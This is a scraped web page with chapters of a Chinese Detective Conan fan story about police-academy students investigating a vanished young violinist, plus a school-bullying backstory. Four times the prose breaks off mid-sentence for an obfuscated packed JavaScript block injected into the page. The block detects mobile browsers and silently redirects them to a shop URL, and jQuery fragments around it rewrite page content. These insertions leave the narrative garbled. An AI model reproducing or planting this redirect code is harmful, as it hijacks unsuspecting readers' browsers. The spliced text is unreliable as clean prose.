“哎呀,看来有小小姐遇见麻烦了。” 萩原研二捡起地上滚落的棒球,堵住水管的断口:“把自己的女孩弄哭可是不对的。” 松田阵平从随身的工具包里掏出扳手,开始修理水管。 伊达航掏出自己的证件,俯下身子和两个孩子保持平视:“你们叫什么名字?” 一身水滴滴答答的往下淌的男孩:“工藤新一。” “毛……毛利兰。” 诸伏景光将买回来的毛巾搭在工藤新一头上,将自己的外套脱给他披上,以防他着凉:“你们住在附近吗?现在很晚了。” “很……很近,”毛利兰被萩原研二安抚好了,现在还是有点结巴,“我们,现,现在就回去了。” “那我们送送你们吧?”可能是之前飞鸟彻羽提过镶合体的缘故,诸伏景光有些不安,“我们是警校生,毕业之后就是警察了——你们住在哪里?” “毛利侦探事务所。” * “拜托了!我的男朋友怎么也没有办法联系上,报警了也没有音讯。听说毛利侦探之前是退役的传奇刑警,所以希望您一定接下我的委托——只要能找到,委托费绝对好说!” 金发碧眼的女孩子将一只厚厚的信封抵在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404906|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛利小五郎手里:“这些只是定金,等找到之后尾款照十倍支付。” 十、十倍?! 毛利小五郎捏捏信封的厚度,脸都要笑烂了:“好说好说,就没有我名侦探……” “爸爸!我回来了!你在忙吗?” 毛利兰推开事务所的大门,请几位坐下,去给客人沏茶。 另一边萩原研二已经和委托人聊起来了。 “我是慕名委托毛利侦探找我失踪的男友。” “我们在三年前的一次国际赛事中结缘,并相约做彼此的对手,但是在那之后他就失踪了,怎么也没有办法联系上,报警也没有音讯,无奈之下我只好来到日本寻找……” 一旁的女伴握住她的手,无声地给予她支持。 “所以你们是跨国恋吗?” 毛利兰对此很感兴趣:“那你的男朋友叫什么名字?” “黑羽彻也。” 毛利·笑容僵在脸上·兰:…… “哎——?!” “就是,就是那个……” “我们应该想的是一个人,”女孩轻轻颔首,“就是那个,三年前横空出世,以压倒性的优势夺得当年帕格尼尼小提琴大赛金奖的黑羽彻也。” 黑羽彻也获奖时才16岁,三年前凭借一首原创曲目《忒修斯之船》横扫那一届的同批选手,被誉为是“国宝级别的音乐家”。 但是其本人性格难以捉摸,也不喜欢出现在公众的视野中,被媒体锐评是“阴晴不定的魔王”。 松田阵平放下手机打了个寒战:“……这些媒体还真是喜欢给人其那种羞耻的外号啊。” 伊达航心里有了个隐隐约约的猜测,但是没办法确定:“这么说来,您是……” ——当年的黑羽彻也太过出挑,像是明月当空,导致没人会记住一旁暗淡的星星。 “没错,”莉莉丝对上他的视线,“我是当期的第二名,我叫莉莉丝·怀特。” “我想起来了。”毛利兰突然弹起,“那个人是园子的偶像来着,当年园子好像还专门收录了黑羽被采访时候的影像。” 12.第 12 章 黑羽快斗挂断电话:“行了,手机没收,好好养病吧。” 飞鸟彻羽:……不敢说话。 几天之前,刚刚从病房出去的飞鸟彻羽眼前一黑,就此失去了意识。 再度醒来的时候,发觉自己躺在病床上,佐证是鼻尖萦绕的消毒水味和索菲亚的草药味。 飞鸟彻羽吃力地撑起自己的身体,摸索着准备扯掉蒙在眼前的纱布。 真正的精灵队医,索菲亚眼疾手快拍开飞鸟彻羽不安分的爪子:“刚敷了药,等等。” “……大概要多久?” “一个半小时。” 行吧。 “我昏迷了多久?”飞鸟彻羽感觉有点头疼,还有些止不住的恶心,“我手机呢?” 记得之前在给莎朗打电话来着。 “两天多,准确地说是51个小时——你要手机干嘛?” “还有点事情没处理……” 抢救了两整天没合眼的队医小姐哪听得了这个:“你要死啊?!一个月给你多少钱让你给公安卖命啊?!” 飞鸟彻羽被她吼的一激灵。 “……你先冷静点,索菲,我知道让你担心了,但是你也知道,镶合体是没有办法用常规办法清除的:要么杀死祂选中的寄主,要么安排更加强大的其他镶合体吞噬掉,要么就只能找高耐受的其他个体转移——我总比那个警校生有抵抗力。” 这也是镶合体没人处理的另一个更重要的原因——事实上非但处理不了,别人还会惹一身骚。 “那让他去死啊!你管他干什么?!你上辈子欠他的?!你怎么就这么喜欢管闲事……” 情绪上头之后,接连两整天的担惊受怕和恐惧不忿全都变成眼泪爆发了出来。 每一次。 每一次。 每一次每一次每一次每一次…… 总是这个样子。 多少次了? 十次有九次,索菲亚见到飞鸟彻羽的时候,总是像灯盏里鱼尾一样摇曳着的火焰,好像风一吹就熄灭了。 在等待他醒来的无数个瞬间,她看着他惨白的脸色,总担心这是自己绮丽又苍白的梦境,只待被灼热的阳光刺破。 ——天亮了,于是好梦噩梦都该醒了。 索菲亚只觉得自己的五脏六腑都搅在一起,心脏被捏成了很小很小的一团:“……你怎么就这么喜欢管闲事啊?” 但是卧病在床的那个不明白,只知道用他那深潭一样的眼睛,透过纱布看着她,从那双波澜不惊的眼眸里,就好像是她所有的情绪都是个歇斯底里的笑话,是盲人眼中的默剧。 “……你也是我多管闲事捡回来的。” 飞鸟彻羽歪歪头,和所有在窗边啄食谷子,叫人琢磨不透的鸟儿一样,也许它明天还会来,也许永远也不会见面。 “你,你们,整个‘异常处理课’超过九成的都是。” “所以,所以你管我们干什么呢?叫我们自生自灭……” 【出去】 飞鸟彻羽的耐心彻底告罄。 本来要带病工作就烦,还要照顾别人的情绪问题…… 有情绪问题出门右转坐电梯去27楼找心理科,我又不是你们的妈。 【薇薇安,手机给我】 索菲亚想说不。 但是张张嘴,看着他涌出来的鼻血,又什么话都讲不出来了。 “……先出去吧。” 蜘蛛小姐将她扯出病房,透过玻璃看见病床上苍白的身影正在倾听着薇薇安汇报着什么,时不时说一两句。 薇薇安是一头成年巨龙,一般负责处理飞鸟彻羽的财务问题。 “之前苏生了几处东西,一会准备一下手续,都买下来吧……” “通知一下酒井唯,叫她空出时间,最近要出一篇报道……” “查查最近有大动作的汽车公司……” “笼目……” 一条条指令被一阵铃声打断,飞鸟彻羽清了场,接了电话。 “啊啦啦,身体怎么样啊?” “托您的洪福,还没死。” 贝尔摩德感觉自己和香槟根本八字不合,看一眼都觉得晦气,听一声就感觉肺疼。 尤其是每每想搞一点组织“千面魔女”最钟意的“神秘主义”的时候,香槟总能精准地通过踩到她的痛处来结束这种没有意义的寒暄。 就比如说现在: “给您的大礼收到了?” “……你什么时候知道‘利口酒’没死的?” 飞鸟彻羽不答,反而劝她凡事总有好的一面,多往好处看:“这不是很好吗?利口酒没死,你不就可以亲手再杀她一次了?不只是她,还有她的两个女儿,叫什么来着……宫野明美和宫野志保——可惜就是少了个宫野厚司。” “不过这也没什么,正好送她们一家四口下去团聚,我敢保证她们一定会对你感激不尽,即使是人都烂透了也会记得你的好的。” “怎么样?我对你好吧?知道你平时为非作歹,净干些灭人满门的缺德事,专门在你六十大寿的时候,给你补补阴德——这可是咱们狼狈为奸的情谊。” 贝尔摩德感觉自己的肺都要气炸了,险些咬碎后槽牙:“好啊,是很好。” “……所以,好好处理。要真的最后走到那一步,她可是能保你的命——一个能弄出潘多拉的疯狂科学家,可比你这个展品……” 电话被挂断了。 真是的,都说年轻人火气大,怎么莎朗·温雅德一把岁数了,还这么大的脾气? 飞鸟彻羽想不明白,也不打算在贝尔摩德身上浪费心思。算算时间是该换药的时候了,飞鸟彻羽躺好,等着谁进来给自己处理。 “……你们为什么都喜欢用索菲亚的身份呢?” 搞得索菲亚天天旷工+被借调,还能在办公室打全勤卡,也是挺神奇的。 结果对面没人应声。 飞鸟彻羽后知后觉感觉不对劲,他现在感觉五感都糊住了,像是隔了一层毛玻璃,辨不清楚。 不过能进来这里的,总不会是什么危险分子。 对面一直不开口,于是飞鸟彻羽有些不耐烦了:“你有什么事吗?赶快收拾好,然后赶快走——我也还有事情要忙。” “是么,”黑羽快斗的声音在耳边炸开,明明分贝不大,却把飞鸟彻羽吓得一激灵,连耳羽都全部膨起来,“你有什么事?重要到躺在病床上也搁置不下?” 好消息,正确分辨不是索菲亚。 坏消息,没听出来是黑羽快斗。 完蛋了。 那一瞬间,飞鸟彻羽其实是想过随便炸一个地方来转移黑羽快斗的注意力的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426809|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>竹取花火!还有索菲亚!你俩神经病吧?! 不听你俩的有什么了不起的?! 告状算什么?! 飞鸟彻羽不敢吭声,一时间也找不到什么狡辩的借口,遂决定拉上被子装死。 “说话啊,不是很能说吗?”黑羽快斗把被子扯开,“不知道说什么,就先讲讲,你是怎么在花火姐姐和索菲亚姐姐叫你休息的时候让她俩滚的?言灵很好用是不是?” 我什么时候?! 飞鸟彻羽确定记下这两个暗戳戳告状还添油加醋的家伙,并决定秋后算账。 但是现在有更迫在眉睫的问题需要解决。 “没有。” “之前抽空工作?” “没有。” “没有不遵医嘱?” “没有。” “没有叫别人滚?” “没有。” 黑羽快斗应了一声,表示自己听见了,不知道信了没。 看在他态度良好的份上,黑羽快斗决定不再追究:“你吃东西没?” 能怎么办呢? 反正飞鸟彻羽自己不认同的东西,别人说什么他都不会听的——最多是明着和你对着干,和给你给面子,表面上答应,然后暗戳戳地和你对着干。 “没有。” 飞鸟彻羽面上讪讪,隔着一层厚厚的纱布都能看出来,他确实已经认识到了自己所作所为的错误,并决定改正。 但是这种把戏骗得了别人,可骗不过黑羽快斗。 表情做得再痛心疾首又有什么用呢?塞壬又不是用表情来表达情感的,祂们交流时候的情感输出,百分之八十以上,来源于耳羽。 就比如说现在,黑羽快斗清晰地看到,半点都没被纱布遮住的耳羽紧张地缩起,而不是代表愧疚的垂着。 ——这家伙根本就没知错。 默默在心里叹了一口气:“……一会我去给你煮点海鲜粥吧。” 现在要先换药。 黑羽快斗先是把他的脸扭过来,拆开纱布,将墨绿色的药膏清理干净,然后取出早就调配好的另一种,仔细涂在眼睛上。 感受到不适的飞鸟彻羽,眼球在眼皮下忍不住的滚动。 “……好凉。” “忍着。” 哦。 涂抹平整后,黑羽快斗拆开新的纱布,一圈一圈绕在眼睛上,最后在脑后打了一个结。 一阵铃声又打了进来。 黑羽快斗接起“苹果侦探”的来电。 “彻——哥——暴露了,需要我……” 黑羽快斗按照飞鸟彻羽会干的事:挂掉电话。 很快那边打了回来:“我错了,彻哥,有人要来查黑羽彻也了,怎么办?” 黑羽快斗捏成手机主人的嗓音,转述飞鸟彻羽的原话:“几个人?金毛蓝湾苏牧德牧狐狸?” “没关系。” “叫他们查。” 电话挂断了。 “没偷偷工作?” “你之前是怎么保证的?”黑羽快斗将手机放进自己的口袋里,“没收,优先养病——地球没了你照样会转的。” 飞鸟彻羽在外面嘴天嘴地的,偏偏不敢在黑羽快斗生气的时候呛声,只敢在心里默默记仇,准备秋后算账。 ……工藤新一你完蛋了:) 13.不存在的同学 另一边,还不知道自己已经被盯上了的工藤新一正兴冲冲地去赴约。 能光明正大,得到彻哥点头的侦探游戏。 黑羽彻也工藤家堂亲收养的哥哥,所以理论上也是工藤新一没有血缘关系的堂哥。 但是飞鸟彻羽本人不这么想,对于他来说,他只是黑羽快斗一个人的哥哥——不是黑羽夫妇的长子,工藤家的堂亲,或者工藤新一的哥哥。 毕竟是很近的关系,工藤新一曾经努力和他好好相处——通过分享自己正在看的推理小说的方式: “彻哥,你喜欢这本侦探小说……” “是那个侦探杀的。” 哎?! 这本书工藤新一才刚刚看了三分之一,根本没有一点怀疑侦探。 但是彻哥也不像是在开玩笑……怀着这样微妙的心态,工藤新一提心吊胆地看到了结尾——结果发现是房东杀的。 “我胡说的,”飞鸟彻羽后来听说这个事的时候,表现得很诧异,“这你也信啊?” 工藤新一:…… “所以,我们先从哪里开始查比较好呢?” 工藤新一把有希子珍藏的“黑羽彻也独奏合集”分享给大家——多亏了自己妈妈是个了不起的颜控,才能毫不费力地找到“失踪人”的第一手高清影像资料。 ……这孩子怎么这么兴奋。 萩原研二在反复切换两个视频,左右拖动进度条。 “有了,你们看这个!” 在那个演奏视频的7分52秒前后,萩原研二截了图,将小提琴的内腔部分放大再放大,由伊达航给图片做了降噪处理。 看起来是刻下的什么图案,线条很流畅,但是被遮挡了大半,看不出具体是刻的什么东西。 不管怎么样,还是当作证据先保留下来吧。 “所以,目前是有三个比较明晰的方向,”伊达航整合完信息后拍拍手,将大家的注意力都吸引过来: “第一,黑羽彻也当时被公布出来的消息是就读于帝丹高中,可以去找他当时的学校了解一下情况。” “第二,当时给他伴奏的视频里面,负责管风琴的堂本一挥先生。如果可能的话,可以尝试接触一下,在这种场合下可以帮忙伴奏,关系一定不一般。” “第三,如果黑羽彻也真的被卷进什么危险,但是不方便公之于众,警校的档案室里面可能会有线索。” “处于效率和安全两方面的考虑,我比较倾向于分头行动,除了去查档案之外,其他的至少两人一组。” 诸伏景光主动请缨:“我和zero去帝丹高中吧,之前zero作为警校生代表去做过安全宣讲,对那里熟一些。” ——真不愧是首席啊。 工藤新一举手:“堂本一挥!堂本音乐学院的创始人!我可以带你们去,我妈妈之前和他有过合作,我妈妈还给堂本音乐学院剪了彩。” 松田阵平眨眨眼睛:“你妈妈是……” “工藤有希子,或者藤峰有希子。” ——19岁就囊括了各大奖项、风靡全球,成为当时唯一能和好莱坞大满贯影后莎朗·温亚德并驾齐驱的存在,20岁嫁人息影后转行做了侦探,据说现在在美国依然混得风生水起。 ……都是名人啊。 “不过堂本先生性格有点古怪,我只能保证去找他,但是他配不配合……” “那就我们三个去一趟,”萩原研二蹲下和工藤新一保持平视,“这位小侦探请问怎么称呼?” 他·叫·我·侦·探·哎! 本来工藤新一对这几个人的观感都差不多,在这个称呼之后,顿时对这个中长发的警校生好感upup! “我是福尔摩斯的弟子,工藤新一——总有一天我会成为家喻户晓的名侦探的!” “好吧,未来的名侦探,”萩原研二没忍住手,捏了捏他后脑勺竖起来的,苹果柄一样的呆毛,“这次就拜托你了。” “小福尔摩斯。” 被大人委以重任的工藤新一感觉脑袋晕乎乎的,比之前和黑羽快斗一起偷喝飞鸟彻羽的藏酒还要上头,连连保证肯定完成任务。 松田阵平眼见着这个刚见面才认识的小鬼,三言两语就被自家幼驯染给哄得找不着北:……你还真会哄小孩啊。 萩原研二:Ov “……那我回去调查一下档案室的资料。”伊达航有些心累,“本来打算这个周末和娜塔莉出去约会的……” 几位单身人士对秀恩爱行为一致表示谴责:“可恶的现充!” * 即使有了明确的分工和思路,调查依然不是很顺利。 一来时隔三年,当事人已经毕业了,同学和老师也都各奔东西,找起来费时费力。 二来当事人就像是那种学校传闻里面的“十大不可思议”一样,痕迹实在少的可怜。 “啊……因为我是后来调换的班主任,所以对黑羽同学的情况不是很了解。” “黑羽君……完全不熟啊——除了一些重要的考试和活动,他都不怎么来学校的。” “黑羽?听说是出国留学了——这种天才应该哪里都抢着要吧?” “哎——?!我听说黑羽同学不是自杀了吗?” “他不是回去继承亿万家产了吗?” “不知道,不熟。” “去当黑手党了?” “听说结婚了?” …… “谢啦,hiro。” 降谷零接过诸伏景光递过来拧开的矿泉水,吨吨吨灌下去半瓶,坐在路边的长椅上不愿起身:“是怎么做到同校的每个人都听说过他,然后和每个人都搞得不熟的?” “辛苦了,明明是休息日还要出来。” 诸伏景光也挨着幼驯染坐下,手里拿着一只喝空的矿泉水瓶。好累,感觉自己的社交能量都已经完全告罄了啊…… “没有参加任何社团,没有学生会职务,没有竞选班干部,甚至连一个位置都没有——因为他平常根本不来上课,所以只有要考试的时候才另外给他搬一对桌椅。” 当时和他同班的总计29个同学和各科老师,诸伏景光都对着毕业薄上的名字一一对过,一个相熟的都没有。 “他真的有在这里上过学吗?学历不会是买的……” “hiro。” “怎么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13435074|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 降谷零眯起眼睛,细细回想之前所有人的回答:“你刚刚说的那句……” “学历不会是买的……不对!”诸伏景光立马反应过来,“真的有在这里上过学吗?” 两人对上视线,诸伏景光喃喃道:“这种班级的招生人数都是固定的,相应的柜子等各种用具也是数量对应——除非有人中途转学,会有人数浮动。毕业簿上只有29名毕业生,我本来以为是只少了黑羽彻也……但是他连自己的位置都没有——所以多出来的那一对桌椅属于谁?” 降谷零接话:“之前那个班主任……他说自己是后来调任的——所以他是为什么接替了这个位置?之前的班主任又是因为什么原因离开的?” “也说不定是巧合。”诸伏景光皱眉,仅凭这些说明不了什么。 “叫班长查一下吧。” 伊达航找到帝丹高中的分类,浏览了一下,脸色有些不好看,很快电话就给回拨了过去: “少了的那个学生叫长谷川由纪,退学的原因是校园霸凌。” 这种消息总让人心情沉重:“……是因为被霸凌所以才退学的吗?” “不完全是。” 鼠标滚轮一点点向下翻动,电子屏闪烁的光映照在伊达航脸上。 “高一的时候她曾经经受过来自隔壁班的校园霸凌,后来这件事被捅到了明面上,校方迫于舆论压力,给予霸凌者吃了警告处分——后来过了一年左右,她本人因为反过来霸凌当时的霸凌者,所以被劝退。” 听到这个消息,降谷零不免有些唏嘘: “屠龙者终成恶龙的故事吗……班长,能查到她退学之后现在人在哪里吗?” “不太好办,我试试……啊,找到了,今年四月份,她在米花町交通部有张超速的罚单——这说明她可能现在就还在米花町附近没有搬远。” “能找到当时其他的霸凌者吗?” “没有,这种未成年人的行径,政府出于保护未成年的考虑都是不予公示具体信息的,学校内部的档案和警务档案不互相联网——你们可能要自己去问了。” 降谷零应了一声,挂断电话: “我们可能还要再回去一趟,去学校的档案室,找找三四年前还有哪几个人,同样因为校园霸凌事件而受到处分——他们可能会有长谷川由纪的消息。” 但是即使能够找到长谷川,还能不能更进一步,找到黑羽彻也的线索,要等去查了才知道了。 诸伏景光刚刚记下了班主任的电话,现在正好用得着: “……嗯就是这样……我们希望提供一下当年涉及长谷川相关的其他学生的信息……对,是这样没错……” 降谷零翻动档案,很快找到了当时的其他七个涉事人。 才毕业了一年,没人更换电话号码。 按照毕业薄上记录的的电话一一打过去,很快就确定了长谷川由纪的位置。 诸伏景光在手机地图上标注了一个点: “根据其他人提供的消息,长谷川退学之后和家里断绝了关系,在这个位置的这家便利店做了店员,上夜班。” “很近,我们现在过去还来得及吃晚饭。” 14.真期待啊 两人到的时候,正赶上长谷川由纪上班。 女生穿着洗得发白的工作服,头发是漂染过又褪色的颜色,画着浓厚的妆遮住眼下的乌青,身上有浓浓的烟味。 店里的生意称得上是萧条,所以她有足够的时间和旁边慕名而来的客人闲聊。 长谷川由纪对降谷零和诸伏景光的到来并不意外,很是坦然地伸出手,用眼神示意他们。 降谷零不明所以,看着那只粗糙的手,和两指缝间昏黄的烟痕: “……什么?” “什么什么?”长谷川由纪叼着烟,不耐地打断道,“给钱啊,你们不也是来打听‘黑羽彻也’的吗?想要挖别人的独家新闻,连一点好处费都不舍得出吗?” 两人突然就明白了,做着这种连维持基本温饱都困难的工作的长谷川,是怎么有钱去支付违规驾驶的罚单的: 有出手阔绰的人找上门来,就倒出点有关“黑羽彻也”的独家消息,讹上一笔拿出去挥霍,没钱了就靠着那一点微薄的薪水勉强度日,直到有下一个阔佬找上门来。 诸伏景光掏出证件:“不是记者——我们是警察。” “啧,穷鬼。”长谷川对这个说法很不满意,“那请我抽烟吧。” “……那要什么样的呢?” “你们自己看着办。” 降谷零不懂烟,正好诸伏景光也不懂,于是两人一合计,在便利店的柜子上找到了和长谷川嘴里相同牌子。 ……买她正在用的总不会错吧。 长谷川·烟瘾犯了·没钱只好挑最便宜的那种·由纪:“……你们想问什么?” “麻烦讲讲你的事吧,”正在叼着烟准备点火的女生一怔,对上褐发警察那双湛蓝色的眼睛里,“我们不是慕名而来的记者,所以也会想要听听长谷川的声音。” ……啧。 什么啊。 * 第一天来高中报道的时候,长谷川去的晚了,教室里面的好位置都被早去的同学占满了,长谷川由纪只好找到一个靠着后门垃圾桶的位置。 最后一排正好方便她观察所有人,也包括黑羽彻也。 少年坐在后排靠窗的位置,将手里的牛肉干递出窗外,有只羽毛华丽的白颈鸦站在他的手腕,正在津津有味地吃着。 衬衫款式普通,看起来没什么起眼之处,但是长谷川由纪曾经在一本热销杂志上看过这件,后面一长串零比因为她震惊而被咬掉舌头还要长。 黑羽彻也好像是那种对周边所有人都不感兴趣的性格,开学第一天,所有人都在努力社交,避免落单的时候,他对那只鸟的兴趣比对自己所有新同学的兴趣加起来还要大。 似是察觉到了周围人的视线,少年扭过头来,环视一周,在对上视线的一瞬间,长谷川由纪连忙错开眼神,假装去和同桌聊天。 他肯定分辨不出来是谁的,长谷川如是想到。 刚刚至少有十个人在看他。 即使后来同样的内容,连带着“黑羽彻也”这个名字作为她的主要收入来源,被长谷川由纪一次又一次在唇齿间反复咀嚼了不知多少遍。 后来实在没有什么可以满足慕名而来的食客的胃口的时候,她便会根据自己的理解,往后扩写杜撰……但她依然很难具体形容黑羽彻也是什么样的人。 非要形容的话……说话淡淡的,表情淡淡的,但是在来来往往的人潮洪流中,偏偏是那么鲜明。 他不和别人讲话,所以也没人敢上前搭话,就那样一直坐到了放学。 放学的高中生像是被牧羊犬驱赶出栏的羊群,三三五五凑成一小群,挤出校门。 黑羽彻也不爱和人挤,于是理所应当的就落在了最后。 长谷川由纪和新交到的朋友一起,明明是第一天见面,却像是一见如故的挚友,手挽着手一起放学,在校门口看见了一个八岁左右的小学生,肩膀上站着黑羽彻也之前喂的那只白颈鸦。 长了张一看就和黑羽彻也有血缘关系的脸,但是性格开朗好多,现在正在企图喂那只白颈鸦剥好的奶糖。 察觉到有人在看自己,就扬起一张大大的笑脸:“姐姐好呀,我来接我哥——你认不认识黑羽彻也啊?” 隔壁小学比高中要早放学很多,足够他在学校和每个同学都玩够送回家,然后比高中部的任何一个学生都要早到校门。 “认识,”长谷川点点头,“他应该快了。” 等到黑羽彻也出来的时候,长谷川的口袋里已经塞满了各种被花花绿绿包装纸包裹着的软糖。 “走了。” 黑羽彻也用食指勾走黑羽快斗的书包,一手提着,没分给她一个眼神。 于是黑羽快斗就去牵他另一只空着的手,扭过脸来,和长谷川挥手道别。 黑羽同学没有背书包啊…… 决定了,明天要努力和黑羽同学说上话。 结果根本没有机会——黑羽彻也第二天压根就没来。 才坐了一天的桌椅空了下来,像是那个人从始至终都没有出现过。 长谷川之后也没有交到什么朋友,同桌在班主任重新排位之后被换成了个性格和长相都很让人倒胃口的男生。 真恶心。 长谷川不动声色地将自己的椅子往旁边挪远了一些。 交流不方便之后,刚刚建立起来尚不牢靠友谊就像是泡沫溶解在海水里,长谷川由纪有努力过主动社交,但结果都不尽人意。 她就像是在人群中慢慢死去,失去体温,变成活着的幽灵,虚幻的影子,被所有人漠视。 “长谷川啊……她好阴郁的,说不定是那种会回家扎人偶诅咒别人的女巫哦~” 不知道什么时候,这种谣言在同学之间流传开,像是一道笔直的分界线,将属于“活人”的“此界”,和属于“亡者”的“彼界”划分开来。 但是在那之后,反而又开始获得关注了。 “长谷川啊?”之前的同桌突然又愿意和自己说话,“可以麻烦代替我今天的值日,放学后去打扫三楼最里面的女生卫生间吗?之前约好了去看电影,现在才发现今晚要值日——所以就只好拜托你啦。” 长谷川不愿细想这种态度的转变是为什么,既然还愿意和我讲话的话,那就是还有做朋友的可能吧? ……这种自欺欺人地幻想被锁在卫生间隔间里面的时候,从天而降泼下的一盆冷水毫不留情地浇灭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451370|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……为什么呢?”听着一门之隔,女生标志性的笑声是那么刺耳,“我做错什么了呢?为什么要这样做?” “什么为什么……当然是因为你不讨人喜欢啊。” 不是没有寻求过帮助。 母亲是很懦弱的性格,父亲是无能又很要面子的人。白天在社长面前点头哈腰之后,回到家就要争分夺秒,行使自己这辈子为数不多的,伴随着结婚生子就即时获得的,为人父的权力。 “为什么只欺负你自己,不找别人麻烦呢?勇敢一点!唯唯诺诺的像是什么样子?!我怎么会有你这样废物的女儿?都是让你妈教废了。” “啊……长谷川,你也要自己想办法解决问题嘛……多多走出去交几个朋友什么的——你这次的成绩又下滑了,多把心思放在学习上吧,少那么自我意识过剩。” “是你举报的校园霸凌吗?” “哎呀,警察叔叔——我们就是长谷川的朋友啊,”明明之前还给自己泼水的女生挽住自己的胳膊,力道大的叫她挣扎不开,“我们之前就是在闹着玩呢。” 长谷川站在讲台上,回过头,对上同学们那一双双如芒在背的眼睛。 被耳光打到在地的时候,昏昏沉沉地想着。 为什么呢? 我做错了什么呢? 再一次被丢下独自完成值日时,长谷川又遇见了那天那只被黑羽彻也喂过的白颈鸦。 ——毛色看不出什么区别,也许是同一只,也许不是。 那只傻鸟被养的羽毛顺滑,估计是手养鸟,一点不怕人,站在窗沿跳来跳去,见到她靠近了也不躲,仰起头对着她扑扇翅膀,“bokeboke”地叫。 ……一只鸟而已,算是什么东西。 回过神来的时候,长谷川发现自己将它的羽毛拔得斑驳不堪,尤其是神气的翅膀更是重灾区。 长谷川松手,于是那只傻鸟就连滚带爬地从窗边摔下去,只留下满地凌乱的羽毛。 从此再也没有见过。 那一瞬间,长谷川由纪感受到了一股很扭曲的,凌虐的快感,是那种居高临下地,理所应当的俯瞰其他生灵的权力。 很微妙地,她突然想起来某个从开学到现在,只上过一天学的同学。 黑羽彻也。 ……要论不合群的话,黑羽同学比起我有过之而无不及吧。 他没跟任何人说过话,很有可能不认识这个教室里面,包括老师在内的任何一个人。 【黑羽彻也比我还要更不讨人喜欢】 这个认知突然出现在长谷川的脑海里,叫她兴奋地头皮发麻。 而这种“兴奋感”,随着又有一名新同学转来,坐在那张空桌椅的时候,达到了巅峰。 老师懒得再去搬一套新的,也不想原本整齐的教室多出一张桌椅,反正黑羽也不来上学,他的椅子也没人坐,遂干脆做省事处理。 ——他现在不但没有一个认识的人,连一个属于自己的位置都没有了。 这么想着,连黑羽彻也那张生人勿近的脸、沉默寡言的性格和孤僻冷漠的做派都值得怀念了起来。 她从没有像现在这样,如此期待黑羽彻也的到来。 15.帝丹高中校园霸凌事件3 再次见到黑羽彻也的时候,是在校园祭,高一A班投票决定,选择“性转咖啡厅”作为营收项目。 展会要提前一周前去布展,长谷川由纪就是在那里遇见黑羽彻也的:坐在店角落的高脚凳上,给负责扮演“王子”的女生画肖像画。 画好的等身油画会被加急装裱起来,挂在店内的墙壁上,就像是真正的古堡会客室。 出乎意料地,黑羽彻也很受欢迎,被一众同学们簇拥在中间,有一搭没一搭地回着他们各种稀奇古怪的问题。 “黑羽同学,好强!连这次店面的室内设计都是黑羽完成的!” “欸?!黑羽你还懂室内设计啊?!” “别乱动,”少年掀起眼皮看了她一眼,又将注意力重新放回到画布上,“不懂。” “好谦虚哦……明明大家都是亲眼看着你画完的设计稿吧?” “确实不懂——照着我家画的。” 日本哪有这种城堡建筑啊。 于是周围的同学就笑成一团:“黑羽可真幽默啊。” ……什么啊。 明明很受欢迎啊。 这种情况一直持续到校园祭当天,那个顶着和黑羽彻也神似的脸的孩子兴冲冲地举着一个巨大的相机,直奔高一A班的咖啡厅,对着拖着巨大裙摆的黑羽彻也就是一通拍。 黑羽快斗早就和黑羽彻也的那些个同学们都混熟了,他长得好看,听话懂事,嘴巴也甜,在哪里都吃得开,很快就接手了招揽顾客的工作,店门口排起了长队。 黑羽彻也用扇子遮住自己的下半张脸,给点了“红茶”的顾客斟茶。 手机拍照的声音在所有人的耳畔响起,刺目的闪光灯怼着黑羽彻也的眼睛,透过镜片在视网膜上留下一片阴影。 刚刚还在认真工作的少年一下子冷了脸: “删掉。” 突然就没有人讲话了。 高一A班的同学们不说,所以在这里的客人也识相的闭上了嘴。 周边的所有人都不约而同地看过来,向黑羽彻也行注目礼。 被当众甩了冷脸的同学有些挂不住面子,色厉内荏道:“有什么关系啊?!一张照片而已——你们搞这个不也应该包括合照这种选项的吗?” 又是那种叫人窒息的死寂,像是沉没在幽深寒冷的深海中,被强大的水压撵得粉身碎骨。 如芒在背的感觉,只是这次出现在了黑羽彻也身上。 